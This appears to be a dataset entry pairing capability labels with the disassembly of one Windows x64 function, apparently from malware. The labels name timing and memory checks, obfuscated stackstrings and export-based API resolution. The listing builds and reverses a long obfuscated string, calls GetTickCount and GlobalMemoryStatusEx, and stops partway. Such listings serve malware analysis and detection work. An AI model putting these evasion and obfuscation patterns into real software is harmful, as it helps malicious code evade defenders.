Function at 0x140001320
Capabilities:
Check for time delay via gettickcount
Check http status code
Contain obfuscated stackstrings
Get memory capacity
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x2988
call fcn.14050cd10
sub rsp, rax
mov rax, qword [0x140579040]
xor rax, rsp
mov qword [rsp + 0x2970], rax
mov dword [rsp + 0xf8], 0
lea rax, [rsp + 0x2118]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov dword [rsp + 0x110], 0
lea rax, [rsp + 0x74]
mov qword [rsp + 0x8c8], rax
lea rax, [rsp + 0x2118]
mov qword [rsp + 0x7f0], rax
mov rax, qword [rsp + 0x7f0]
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x108]
mov qword [rax], 0
mov rax, qword [rsp + 0x108]
mov qword [rax + 8], 0
mov rax, qword [rsp + 0x108]
mov qword [rax + 0x10], 0
lea r8, [rsp + 0x110]
mov edx, 0x100
lea rcx, [rsp + 0x2118]
call fcn.14050a6b0
nop
lea rax, [rsp + 0x2158]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2158]
call fcn.140509100
nop
mov dword [rsp + 0x38], 0xd30
imul eax, dword [rsp + 0x38], 0x13c3
imul eax, eax, 0x19dc
add eax, dword [rsp + 0x38]
imul ecx, dword [rsp + 0x38], 0xf2b
lea eax, [rax + rcx + 0xd]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x38]
cmp dword [rsp + 0x38], eax
jle 0x1400022dd
mov byte [rsp + 0x2220], 0x68
mov byte [rsp + 0x2221], 0x64
mov byte [rsp + 0x2222], 0x72
mov byte [rsp + 0x2223], 0x51
mov byte [rsp + 0x2224], 0x79
mov byte [rsp + 0x2225], 0x45
mov byte [rsp + 0x2226], 0x41
mov byte [rsp + 0x2227], 0x56
mov byte [rsp + 0x2228], 0x43
mov byte [rsp + 0x2229], 0x44
mov byte [rsp + 0x222a], 0x7a
mov byte [rsp + 0x222b], 0x76
mov byte [rsp + 0x222c], 0x4e
mov byte [rsp + 0x222d], 0x6b
mov byte [rsp + 0x222e], 0x57
mov byte [rsp + 0x222f], 0x42
mov byte [rsp + 0x2230], 0x4a
mov byte [rsp + 0x2231], 0x4c
mov byte [rsp + 0x2232], 0x33
mov byte [rsp + 0x2233], 0x4b
mov byte [rsp + 0x2234], 0x37
mov byte [rsp + 0x2235], 0x4d
mov byte [rsp + 0x2236], 0x54
mov byte [rsp + 0x2237], 0x45
mov byte [rsp + 0x2238], 0x50
mov byte [rsp + 0x2239], 0x50
mov byte [rsp + 0x223a], 0x52
mov byte [rsp + 0x223b], 0x69
mov byte [rsp + 0x223c], 0x4f
mov byte [rsp + 0x223d], 0x46
mov byte [rsp + 0x223e], 0x32
mov byte [rsp + 0x223f], 0x77
mov byte [rsp + 0x2240], 0x30
mov byte [rsp + 0x2241], 0x6e
mov byte [rsp + 0x2242], 0x45
mov byte [rsp + 0x2243], 0x65
mov byte [rsp + 0x2244], 0x34
mov byte [rsp + 0x2245], 0x79
mov byte [rsp + 0x2246], 0x59
mov byte [rsp + 0x2247], 0x65
mov byte [rsp + 0x2248], 0x31
mov byte [rsp + 0x2249], 0x51
mov byte [rsp + 0x224a], 0x72
mov byte [rsp + 0x224b], 0x4d
mov byte [rsp + 0x224c], 0x6e
mov byte [rsp + 0x224d], 0x59
mov byte [rsp + 0x224e], 0x43
mov byte [rsp + 0x224f], 0x74
mov byte [rsp + 0x2250], 0x31
mov byte [rsp + 0x2251], 0x46
mov byte [rsp + 0x2252], 0x7a
mov byte [rsp + 0x2253], 0x43
mov byte [rsp + 0x2254], 0x6e
mov byte [rsp + 0x2255], 0x44
mov byte [rsp + 0x2256], 0x79
mov byte [rsp + 0x2257], 0x59
mov byte [rsp + 0x2258], 0x6d
mov byte [rsp + 0x2259], 0x64
mov byte [rsp + 0x225a], 0x4d
mov byte [rsp + 0x225b], 0x6b
mov byte [rsp + 0x225c], 0x46
mov byte [rsp + 0x225d], 0x31
mov byte [rsp + 0x225e], 0x42
mov byte [rsp + 0x225f], 0x64
mov byte [rsp + 0x2260], 0x37
mov byte [rsp + 0x2261], 0x74
mov byte [rsp + 0x2262], 0x43
mov byte [rsp + 0x2263], 0x4e
mov byte [rsp + 0x2264], 0x56
mov byte [rsp + 0x2265], 0x74
mov byte [rsp + 0x2266], 0x4a
mov byte [rsp + 0x2267], 0x7a
mov byte [rsp + 0x2268], 0x6a
mov byte [rsp + 0x2269], 0x43
mov byte [rsp + 0x226a], 0x4e
mov byte [rsp + 0x226b], 0x63
mov byte [rsp + 0x226c], 0x64
mov byte [rsp + 0x226d], 0x66
mov byte [rsp + 0x226e], 0x47
mov byte [rsp + 0x226f], 0x36
mov byte [rsp + 0x2270], 0x6b
mov byte [rsp + 0x2271], 0x42
mov byte [rsp + 0x2272], 0x4e
mov byte [rsp + 0x2273], 0x6f
mov byte [rsp + 0x2274], 0x59
mov byte [rsp + 0x2275], 0x33
mov byte [rsp + 0x2276], 0x47
mov byte [rsp + 0x2277], 0x70
mov byte [rsp + 0x2278], 0x62
mov byte [rsp + 0x2279], 0x79
mov byte [rsp + 0x227a], 0x35
mov byte [rsp + 0x227b], 0x4b
mov byte [rsp + 0x227c], 0x52
mov byte [rsp + 0x227d], 0x4a
mov byte [rsp + 0x227e], 0x78
mov byte [rsp + 0x227f], 0x34
mov byte [rsp + 0x2280], 0x76
mov byte [rsp + 0x2281], 0x34
mov byte [rsp + 0x2282], 0x55
mov byte [rsp + 0x2283], 0x4c
mov byte [rsp + 0x2284], 0x33
mov byte [rsp + 0x2285], 0x6c
mov byte [rsp + 0x2286], 0x53
mov byte [rsp + 0x2287], 0x46
mov byte [rsp + 0x2288], 0x44
mov byte [rsp + 0x2289], 0x37
mov byte [rsp + 0x228a], 0x47
mov byte [rsp + 0x228b], 0x31
mov byte [rsp + 0x228c], 0x4f
mov byte [rsp + 0x228d], 0x35
mov byte [rsp + 0x228e], 0x4c
mov byte [rsp + 0x228f], 0x77
mov byte [rsp + 0x2290], 0x4e
mov byte [rsp + 0x2291], 0x38
mov byte [rsp + 0x2292], 0x69
mov byte [rsp + 0x2293], 0x49
mov byte [rsp + 0x2294], 0x63
mov byte [rsp + 0x2295], 0x79
mov byte [rsp + 0x2296], 0x31
mov byte [rsp + 0x2297], 0x4d
mov byte [rsp + 0x2298], 0x55
mov byte [rsp + 0x2299], 0x72
mov byte [rsp + 0x229a], 0x50
mov byte [rsp + 0x229b], 0x76
mov byte [rsp + 0x229c], 0x4d
mov byte [rsp + 0x229d], 0x50
mov byte [rsp + 0x229e], 0x58
mov byte [rsp + 0x229f], 0x75
mov byte [rsp + 0x22a0], 0x78
mov byte [rsp + 0x22a1], 0x41
mov byte [rsp + 0x22a2], 0x53
mov byte [rsp + 0x22a3], 0x30
mov byte [rsp + 0x22a4], 0x6e
mov byte [rsp + 0x22a5], 0x32
mov byte [rsp + 0x22a6], 0x72
mov byte [rsp + 0x22a7], 0x70
mov byte [rsp + 0x22a8], 0x44
mov byte [rsp + 0x22a9], 0x4c
mov byte [rsp + 0x22aa], 0x6e
mov byte [rsp + 0x22ab], 0x46
mov byte [rsp + 0x22ac], 0x53
mov byte [rsp + 0x22ad], 0x7a
mov byte [rsp + 0x22ae], 0x6f
mov byte [rsp + 0x22af], 0x42
mov byte [rsp + 0x22b0], 0x69
mov byte [rsp + 0x22b1], 0x5a
mov byte [rsp + 0x22b2], 0x68
mov byte [rsp + 0x22b3], 0x73
mov byte [rsp + 0x22b4], 0x54
mov byte [rsp + 0x22b5], 0x7a
mov byte [rsp + 0x22b6], 0x6a
mov byte [rsp + 0x22b7], 0x7a
mov byte [rsp + 0x22b8], 0x4a
mov byte [rsp + 0x22b9], 0x6d
mov byte [rsp + 0x22ba], 0x4c
mov byte [rsp + 0x22bb], 0x70
mov byte [rsp + 0x22bc], 0x45
mov byte [rsp + 0x22bd], 0x36
mov byte [rsp + 0x22be], 0x66
mov byte [rsp + 0x22bf], 0x77
mov byte [rsp + 0x22c0], 0x73
mov byte [rsp + 0x22c1], 0x34
mov byte [rsp + 0x22c2], 0x59
mov byte [rsp + 0x22c3], 0x63
mov byte [rsp + 0x22c4], 0x4f
mov byte [rsp + 0x22c5], 0x72
mov byte [rsp + 0x22c6], 0x76
mov byte [rsp + 0x22c7], 0x45
mov byte [rsp + 0x22c8], 0x31
mov byte [rsp + 0x22c9], 0x53
mov byte [rsp + 0x22ca], 0x52
mov byte [rsp + 0x22cb], 0x6c
mov byte [rsp + 0x22cc], 0x52
mov byte [rsp + 0x22cd], 0x79
mov byte [rsp + 0x22ce], 0x38
mov byte [rsp + 0x22cf], 0x6e
mov byte [rsp + 0x22d0], 0x76
mov byte [rsp + 0x22d1], 0x4e
mov byte [rsp + 0x22d2], 0x76
mov byte [rsp + 0x22d3], 0x69
mov byte [rsp + 0x22d4], 0x48
mov byte [rsp + 0x22d5], 0x6f
mov byte [rsp + 0x22d6], 0x64
mov byte [rsp + 0x22d7], 0x73
mov byte [rsp + 0x22d8], 0x74
mov byte [rsp + 0x22d9], 0x48
mov byte [rsp + 0x22da], 0x58
mov byte [rsp + 0x22db], 0x4b
mov byte [rsp + 0x22dc], 0x34
mov byte [rsp + 0x22dd], 0x4d
mov byte [rsp + 0x22de], 0x37
mov byte [rsp + 0x22df], 0x47
mov byte [rsp + 0x22e0], 0x69
mov byte [rsp + 0x22e1], 0x6b
mov byte [rsp + 0x22e2], 0x33
mov byte [rsp + 0x22e3], 0x68
mov byte [rsp + 0x22e4], 0x75
mov byte [rsp + 0x22e5], 0x69
mov byte [rsp + 0x22e6], 0x76
mov byte [rsp + 0x22e7], 0x57
mov byte [rsp + 0x22e8], 0x34
mov byte [rsp + 0x22e9], 0x62
mov byte [rsp + 0x22ea], 0x75
mov byte [rsp + 0x22eb], 0x7a
mov byte [rsp + 0x22ec], 0x46
mov byte [rsp + 0x22ed], 0x69
mov byte [rsp + 0x22ee], 0x43
mov byte [rsp + 0x22ef], 0x71
mov byte [rsp + 0x22f0], 0x6a
mov byte [rsp + 0x22f1], 0x6b
mov byte [rsp + 0x22f2], 0x4a
mov byte [rsp + 0x22f3], 0x63
mov byte [rsp + 0x22f4], 0x7a
mov byte [rsp + 0x22f5], 0x74
mov byte [rsp + 0x22f6], 0x49
mov byte [rsp + 0x22f7], 0x79
mov byte [rsp + 0x22f8], 0x75
mov byte [rsp + 0x22f9], 0x51
mov byte [rsp + 0x22fa], 0x52
mov byte [rsp + 0x22fb], 0x43
mov byte [rsp + 0x22fc], 0x4f
mov byte [rsp + 0x22fd], 0x53
mov byte [rsp + 0x22fe], 0x75
mov byte [rsp + 0x22ff], 0x75
mov byte [rsp + 0x2300], 0x71
mov byte [rsp + 0x2301], 0x33
mov byte [rsp + 0x2302], 0x54
mov byte [rsp + 0x2303], 0x78
mov byte [rsp + 0x2304], 0x42
mov byte [rsp + 0x2305], 0x66
mov byte [rsp + 0x2306], 0x73
mov byte [rsp + 0x2307], 0x68
mov byte [rsp + 0x2308], 0x47
mov byte [rsp + 0x2309], 0x34
mov byte [rsp + 0x230a], 0x59
mov byte [rsp + 0x230b], 0x69
mov byte [rsp + 0x230c], 0x37
mov byte [rsp + 0x230d], 0x74
mov byte [rsp + 0x230e], 0x75
mov byte [rsp + 0x230f], 0x47
mov byte [rsp + 0x2310], 0x7a
mov byte [rsp + 0x2311], 0x64
mov byte [rsp + 0x2312], 0x4e
mov byte [rsp + 0x2313], 0x72
mov byte [rsp + 0x2314], 0x72
mov byte [rsp + 0x2315], 0x66
mov byte [rsp + 0x2316], 0x36
mov byte [rsp + 0x2317], 0x70
mov byte [rsp + 0x2318], 0x79
mov byte [rsp + 0x2319], 0x43
mov byte [rsp + 0x231a], 0x35
mov byte [rsp + 0x231b], 0x37
mov byte [rsp + 0x231c], 0x6c
mov byte [rsp + 0x231d], 0x35
mov byte [rsp + 0x231e], 0x46
mov byte [rsp + 0x231f], 0x48
mov byte [rsp + 0x2320], 0x4c
mov byte [rsp + 0x2321], 0x6b
mov byte [rsp + 0x2322], 0x65
mov byte [rsp + 0x2323], 0x75
mov byte [rsp + 0x2324], 0x59
mov byte [rsp + 0x2325], 0x47
mov byte [rsp + 0x2326], 0x4f
mov byte [rsp + 0x2327], 0x6a
mov byte [rsp + 0x2328], 0x79
mov byte [rsp + 0x2329], 0x51
mov byte [rsp + 0x232a], 0x4a
mov byte [rsp + 0x232b], 0x4b
mov byte [rsp + 0x232c], 0x47
mov byte [rsp + 0x232d], 0x66
mov byte [rsp + 0x232e], 0x49
mov byte [rsp + 0x232f], 0x38
mov byte [rsp + 0x2330], 0x72
mov byte [rsp + 0x2331], 0x35
mov byte [rsp + 0x2332], 0x53
mov byte [rsp + 0x2333], 0x45
mov byte [rsp + 0x2334], 0x42
mov byte [rsp + 0x2335], 0x7a
mov byte [rsp + 0x2336], 0x38
mov byte [rsp + 0x2337], 0x30
mov byte [rsp + 0x2338], 0x4f
mov byte [rsp + 0x2339], 0x53
mov byte [rsp + 0x233a], 0x4c
mov byte [rsp + 0x233b], 0x5a
mov byte [rsp + 0x233c], 0x35
mov byte [rsp + 0x233d], 0x71
mov byte [rsp + 0x233e], 0x56
mov byte [rsp + 0x233f], 0x45
mov byte [rsp + 0x2340], 0x41
mov byte [rsp + 0x2341], 0x53
mov byte [rsp + 0x2342], 0x4c
mov byte [rsp + 0x2343], 0x77
mov byte [rsp + 0x2344], 0x71
mov byte [rsp + 0x2345], 0x69
mov byte [rsp + 0x2346], 0x32
mov byte [rsp + 0x2347], 0x32
mov byte [rsp + 0x2348], 0x4f
mov byte [rsp + 0x2349], 0x6c
mov byte [rsp + 0x234a], 0x42
mov byte [rsp + 0x234b], 0x77
mov byte [rsp + 0x234c], 0x5a
mov byte [rsp + 0x234d], 0x45
mov byte [rsp + 0x234e], 0x6e
mov byte [rsp + 0x234f], 0x56
mov byte [rsp + 0x2350], 0x34
mov byte [rsp + 0x2351], 0x67
mov byte [rsp + 0x2352], 0x71
mov byte [rsp + 0x2353], 0x62
mov byte [rsp + 0x2354], 0x45
mov byte [rsp + 0x2355], 0x46
mov byte [rsp + 0x2356], 0x5a
mov byte [rsp + 0x2357], 0x7a
mov byte [rsp + 0x2358], 0x78
mov byte [rsp + 0x2359], 0x31
mov byte [rsp + 0x235a], 0x75
mov byte [rsp + 0x235b], 0x6d
mov byte [rsp + 0x235c], 0x6d
mov byte [rsp + 0x235d], 0x69
mov byte [rsp + 0x235e], 0x70
mov byte [rsp + 0x235f], 0x51
mov byte [rsp + 0x2360], 0x77
mov byte [rsp + 0x2361], 0x6f
mov byte [rsp + 0x2362], 0x37
mov byte [rsp + 0x2363], 0x74
mov byte [rsp + 0x2364], 0x43
mov byte [rsp + 0x2365], 0x6e
mov byte [rsp + 0x2366], 0x52
mov byte [rsp + 0x2367], 0x43
mov byte [rsp + 0x2368], 0x6f
mov byte [rsp + 0x2369], 0x65
mov byte [rsp + 0x236a], 0x65
mov byte [rsp + 0x236b], 0x4d
mov byte [rsp + 0x236c], 0x49
mov byte [rsp + 0x236d], 0x72
mov byte [rsp + 0x236e], 0x55
mov byte [rsp + 0x236f], 0x52
mov byte [rsp + 0x2370], 0x68
mov byte [rsp + 0x2371], 0x68
mov byte [rsp + 0x2372], 0x43
mov byte [rsp + 0x2373], 0x33
mov byte [rsp + 0x2374], 0x79
mov byte [rsp + 0x2375], 0x30
mov byte [rsp + 0x2376], 0x4a
mov byte [rsp + 0x2377], 0x45
mov byte [rsp + 0x2378], 0x36
mov byte [rsp + 0x2379], 0x55
mov byte [rsp + 0x237a], 0x30
mov byte [rsp + 0x237b], 0x70
mov byte [rsp + 0x237c], 0x4a
mov byte [rsp + 0x237d], 0x4a
mov byte [rsp + 0x237e], 0x6c
mov byte [rsp + 0x237f], 0x63
mov byte [rsp + 0x2380], 0x47
mov byte [rsp + 0x2381], 0x47
mov byte [rsp + 0x2382], 0x56
mov byte [rsp + 0x2383], 0x51
mov byte [rsp + 0x2384], 0x52
mov byte [rsp + 0x2385], 0x69
mov byte [rsp + 0x2386], 0x4b
mov byte [rsp + 0x2387], 0x49
mov byte [rsp + 0x2388], 0x7a
mov byte [rsp + 0x2389], 0x32
mov byte [rsp + 0x238a], 0x72
mov byte [rsp + 0x238b], 0x53
mov byte [rsp + 0x238c], 0x36
mov byte [rsp + 0x238d], 0x66
mov byte [rsp + 0x238e], 0x51
mov byte [rsp + 0x238f], 0x56
mov byte [rsp + 0x2390], 0x66
mov byte [rsp + 0x2391], 0x4a
mov byte [rsp + 0x2392], 0x63
mov byte [rsp + 0x2393], 0x47
mov byte [rsp + 0x2394], 0x72
mov byte [rsp + 0x2395], 0x33
mov byte [rsp + 0x2396], 0x65
mov byte [rsp + 0x2397], 0x74
mov byte [rsp + 0x2398], 0x47
mov byte [rsp + 0x2399], 0x50
mov byte [rsp + 0x239a], 0x4a
mov byte [rsp + 0x239b], 0x6b
mov byte [rsp + 0x239c], 0x34
mov byte [rsp + 0x239d], 0x49
mov byte [rsp + 0x239e], 0x53
mov byte [rsp + 0x239f], 0x71
mov byte [rsp + 0x23a0], 0x77
mov byte [rsp + 0x23a1], 0x31
mov byte [rsp + 0x23a2], 0x36
mov byte [rsp + 0x23a3], 0x37
mov byte [rsp + 0x23a4], 0x42
mov byte [rsp + 0x23a5], 0x45
mov byte [rsp + 0x23a6], 0x6c
mov byte [rsp + 0x23a7], 0x31
mov byte [rsp + 0x23a8], 0x32
mov byte [rsp + 0x23a9], 0x30
mov byte [rsp + 0x23aa], 0x6b
mov byte [rsp + 0x23ab], 0x77
mov byte [rsp + 0x23ac], 0x72
mov byte [rsp + 0x23ad], 0x62
mov byte [rsp + 0x23ae], 0x7a
mov byte [rsp + 0x23af], 0x41
mov byte [rsp + 0x23b0], 0x48
mov byte [rsp + 0x23b1], 0x78
mov byte [rsp + 0x23b2], 0x7a
mov byte [rsp + 0x23b3], 0x67
mov byte [rsp + 0x23b4], 0x4c
mov byte [rsp + 0x23b5], 0x55
mov byte [rsp + 0x23b6], 0x54
mov byte [rsp + 0x23b7], 0x71
mov byte [rsp + 0x23b8], 0x53
mov byte [rsp + 0x23b9], 0x50
mov byte [rsp + 0x23ba], 0x43
mov byte [rsp + 0x23bb], 0x53
mov byte [rsp + 0x23bc], 0x59
mov byte [rsp + 0x28], 0x20
lea rax, [rsp + 0x23bd]
mov qword [rsp + 0x7f8], rax
lea rax, [rsp + 0x2220]
mov qword [rsp + 0x800], rax
mov rax, qword [rsp + 0x7f8]
mov qword [rsp + 0x20f8], rax
mov rax, qword [rsp + 0x800]
mov qword [rsp + 0x20f0], rax
mov rax, qword [rsp + 0x20f0]
mov qword [rsp + 0x810], rax
mov rax, qword [rsp + 0x810]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0x20f8]
mov qword [rsp + 0x820], rax
mov rax, qword [rsp + 0x820]
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0x140]
sub rcx, rax
mov rax, rcx
mov r8, rax
movzx edx, byte [rsp + 0x28]
mov rcx, qword [rsp + 0xe0]
call fcn.14050ae50
nop
jmp 0x140002223
lea rax, [rsp + 0x2220]
mov qword [rsp + 0x7e8], rax
mov qword [rsp + 0x100], 0xffffffffffffffff
inc qword [rsp + 0x100]
mov rax, qword [rsp + 0x7e8]
mov rcx, qword [rsp + 0x100]
cmp byte [rax + rcx], 0
jne 0x14000223f
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x828], rax
mov rcx, qword [rsp + 0x828]
call fcn.1400011e0
mov qword [rsp + 0x830], rax
mov rax, qword [rsp + 0x830]
mov qword [rsp + 0x838], rax
mov dword [rsp + 0x40], 0
jmp 0x1400022a6
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
movsxd rax, dword [rsp + 0x40]
cmp rax, 0x19d
jae 0x1400022dd
movsxd rax, dword [rsp + 0x40]
mov ecx, 0x19d
sub rcx, rax
mov rax, rcx
movsxd rcx, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x838]
movzx eax, byte [rsp + rax + 0x2220]
mov byte [rdx + rcx], al
jmp 0x14000229c
mov rax, qword [rsp + 0x29b8]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x840], rax
mov rax, qword [rsp + 0x840]
mov dword [rsp + 0x120], eax
mov dword [rsp + 0x44], 0
jmp 0x140002314
mov eax, dword [rsp + 0x44]
inc eax
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0x100
jge 0x14000235a
lea rax, [rsp + 0x2118]
mov qword [rsp + 0x848], rax
movsxd rax, dword [rsp + 0x44]
mov rcx, qword [rsp + 0x848]
mov rcx, qword [rcx]
lea rax, [rcx + rax*4]
mov qword [rsp + 0x850], rax
mov rax, qword [rsp + 0x850]
mov ecx, dword [rsp + 0x44]
mov dword [rax], ecx
jmp 0x14000230a
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, eax
mov qword [rsp + 0x858], rax
mov qword [rsp + 0x8d0], 0x3826
mov dword [rsp + 0x21e0], 0x40
lea rcx, [rsp + 0x21e0]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
cmp eax, 1
jne 0x1400037f1
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r8d, eax
lea rdx, str.mjWLhzCiSu__d
lea rcx, [rsp + 0x26a0]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x26a0]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x114], eax
mov dword [rsp + 0x24], 0
jmp 0x1400023df
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x114]
cmp dword [rsp + 0x24], eax
jge 0x140002485
cmp dword [rsp + 0x24], 0xb
jle 0x1400023fc
jmp 0x140002485
movsxd rax, dword [rsp + 0x24]
movzx eax, word [rsp + rax*2 + 0x26a0]
cmp eax, 0x56
jge 0x140002420
movsxd rax, dword [rsp + 0x24]
movzx eax, word [rsp + rax*2 + 0x26a0]
cmp eax, 0x41
jg 0x14000243f
movsxd rax, dword [rsp + 0x24]
movzx eax, word [rsp + rax*2 + 0x26a0]
add eax, 0x20
movsxd rcx, dword [rsp + 0x24]
mov word [rsp + rcx*2 + 0x26a0], ax
jmp 0x140002480
movsxd rax, dword [rsp + 0x24]
movzx eax, word [rsp + rax*2 + 0x26a0]
cmp eax, 0x55
jge 0x140002463
movsxd rax, dword [rsp + 0x24]
movzx eax, word [rsp + rax*2 + 0x26a0]
cmp eax, 0x42
jg 0x140002480
movsxd rax, dword [rsp + 0x24]
movzx eax, word [rsp + rax*2 + 0x26a0]
sub eax, 0x20
movsxd rcx, dword [rsp + 0x24]
mov word [rsp + rcx*2 + 0x26a0], ax
jmp 0x1400023d5
mov eax, dword [rsp + 0x858]
mov dword [rsp + 0x5c], eax
mov byte [rsp + 0x20], 1
cmp dword [rsp + 0x5c], 1
jg 0x1400037a0
mov dword [rsp + 0x7c], 0x14d1
mov dword [rsp + 0x2c], 0xab7
mov dword [rsp + 0x30], 0x1c63
mov dword [rsp + 0xe8], 0x1415
mov dword [rsp + 0x6c], 0x1066
mov eax, 0xa5d
sub eax, dword [rsp + 0x2c]
imul ecx, dword [rsp + 0x2c], 0xca3
imul ecx, dword [rsp + 0xe8]
imul ecx, ecx, 0x1368
lea eax, [rax + rcx - 0x9e6]
imul ecx, dword [rsp + 0x6c], 0x5e
add eax, ecx
mov dword [rsp + 0x7c], eax
mov eax, dword [rsp + 0x6c]
add eax, 0x3b83
imul ecx, dword [rsp + 0x30], 0x24b3
imul ecx, dword [rsp + 0x30]
sub eax, ecx
imul ecx, dword [rsp + 0x30], 0x1158
lea eax, [rax + rcx - 0x52]
mov dword [rsp + 0x2c], eax
imul eax, dword [rsp + 0x6c], 0x1d75
imul ecx, dword [rsp + 0x30], 0xae
add eax, ecx
imul ecx, dword [rsp + 0x2c], 0xfca
imul ecx, ecx, 0x49
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, 0x2399
sub eax, dword [rsp + 0x2c]
imul ecx, dword [rsp + 0x30], 0x1f4c
sub eax, ecx
sub eax, 0x69e
sub eax, dword [rsp + 0x2c]
sub eax, 0x2f
mov dword [rsp + 0xe8], eax
imul eax, dword [rsp + 0x30], 0x1e69
imul eax, eax, 0x270e
imul eax, dword [rsp + 0x2c]
imul ecx, dword [rsp + 0x2c], 0x5d
lea eax, [rax + rcx + 0x139a]
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x7c]
cmp dword [rsp + 0x2c], eax
jle 0x14000379b
mov eax, dword [rsp + 0x30]
cmp dword [rsp + 0x7c], eax
jge 0x14000379b
mov dword [rsp + 0x150], 0x4899
mov dword [rsp + 0x154], 0x9816
mov dword [rsp + 0x158], 0xbefc
mov dword [rsp + 0x15c], 0xc12b
mov dword [rsp + 0x160], 0x17ec0
mov dword [rsp + 0x164], 0x467a
mov dword [rsp + 0x168], 0x709c
mov dword [rsp + 0x16c], 0xd9fc
mov dword [rsp + 0x170], 0x16e1f
mov dword [rsp + 0x174], 0x50f5
mov dword [rsp + 0x178], 0x13a3b
mov dword [rsp + 0x17c], 0x1758d
mov dword [rsp + 0x180], 0x14ef2
mov dword [rsp + 0x184], 0xa36d
mov dword [rsp + 0x188], 0x10398
mov dword [rsp + 0x18c], 0x11c87
mov dword [rsp + 0x190], 0x6bf
mov dword [rsp + 0x194], 0x13e01
mov dword [rsp + 0x198], 0x170cc
mov dword [rsp + 0x19c], 0x10dcf
mov dword [rsp + 0x1a0], 0x507
mov dword [rsp + 0x1a4], 0x16a1d
mov dword [rsp + 0x1a8], 0x12c09
mov dword [rsp + 0x1ac], 0x14110
mov dword [rsp + 0x1b0], 0x51b
mov dword [rsp + 0x1b4], 0xc587
mov dword [rsp + 0x1b8], 0x97
mov dword [rsp + 0x1bc], 0x1b3d
mov dword [rsp + 0x1c0], 0x109e5
mov dword [rsp + 0x1c4], 0x9744
mov dword [rsp + 0x1c8], 0x15e78
mov dword [rsp + 0x1cc], 0xd1bd
mov dword [rsp + 0x1d0], 0xf1d0
mov dword [rsp + 0x1d4], 0x30ed
mov dword [rsp + 0x1d8], 0x966e
mov dword [rsp + 0x1dc], reloc.OLEAUT32.dll_SafeArrayDestroy
mov dword [rsp + 0x1e0], 0x16ba2
mov dword [rsp + 0x1e4], 0x1711b
mov dword [rsp + 0x1e8], 0x185ae
mov dword [rsp + 0x1ec], 0x9ad8
mov dword [rsp + 0x1f0], 0x8463
mov dword [rsp + 0x1f4], 0x15aac
mov dword [rsp + 0x1f8], 0x14431
mov dword [rsp + 0x1fc], 0x89fd
mov dword [rsp + 0x200], 0x10953
mov dword [rsp + 0x204], 0x94a5
mov dword [rsp + 0x208], 0x121d0
mov dword [rsp + 0x20c], 0x70e6
mov dword [rsp + 0x210], 0xd972
mov dword [rsp + 0x214], 0x6052
mov dword [rsp + 0x218], 0x68db
mov dword [rsp + 0x21c], 0x218d
mov dword [rsp + 0x220], 0xd5fc
mov dword [rsp + 0x224], 0xeb60
mov dword [rsp + 0x228], 0x179fd
mov dword [rsp + 0x22c], 0x66fc
mov dword [rsp + 0x230], 0x14399
mov dword [rsp + 0x234], 0x18263
mov dword [rsp + 0x238], 0x113f5
mov dword [rsp + 0x23c], 0x13e14
mov dword [rsp + 0x240], 0xb887
mov dword [rsp + 0x244], 0x14ff5
mov dword [rsp + 0x248], 0x2d6b
mov dword [rsp + 0x24c], 0x19d9
mov dword [rsp + 0x250], 0x11ded
mov dword [rsp + 0x254], 0x3c38
mov dword [rsp + 0x258], 0x149b7
mov dword [rsp + 0x25c], 0x4c4d
mov dword [rsp + 0x260], 0x15083
mov dword [rsp + 0x264], 0xde2e
mov dword [rsp + 0x268], 0xe762
mov dword [rsp + 0x26c], 0x3587
mov dword [rsp + 0x270], 0x70fa
mov dword [rsp + 0x274], 0x15bfe
mov dword [rsp + 0x278], 0x91e4
mov dword [rsp + 0x27c], 0x1164d
mov dword [rsp + 0x280], 0xb702
mov dword [rsp + 0x284], 0xb79b
mov dword [rsp + 0x288], 0xa50e
mov dword [rsp + 0x28c], 0x9c3d
mov dword [rsp + 0x290], 0xf6a3
mov dword [rsp + 0x294], 0x6114
mov dword [rsp + 0x298], 0x4ff9
mov dword [rsp + 0x29c], 0x12361
mov dword [rsp + 0x2a0], 0x11c6c
mov dword [rsp + 0x2a4], 0x2284
mov dword [rsp + 0x2a8], 0x14ca3
mov dword [rsp + 0x2ac], 0x144e9
mov dword [rsp + 0x2b0], 0x15920
mov dword [rsp + 0x2b4], 0xd41c
mov dword [rsp + 0x2b8], 0x9856
mov dword [rsp + 0x2bc], 0x4c15
mov dword [rsp + 0x2c0], 0x13dc9
mov dword [rsp + 0x2c4], 0x6034
mov dword [rsp + 0x2c8], 0x18058
mov dword [rsp + 0x2cc], 0xf78d
mov dword [rsp + 0x2d0], 0x17b64
mov dword [rsp + 0x2d4], 0xc3b0
mov dword [rsp + 0x2d8], 0x3086
mov dword [rsp + 0x2dc], 0x2d28
mov dword [rsp + 0x2e0], 0x1167
mov dword [rsp + 0x2e4], 0x2348
mov dword [rsp + 0x2e8], 0x61f9
mov dword [rsp + 0x2ec], 0x6f3c
mov dword [rsp + 0x2f0], 0x182fa
mov dword [rsp + 0x2f4], 0x8e52
mov dword [rsp + 0x2f8], 0x11597
mov dword [rsp + 0x2fc], 0x1568f
mov dword [rsp + 0x300], 0x147ef
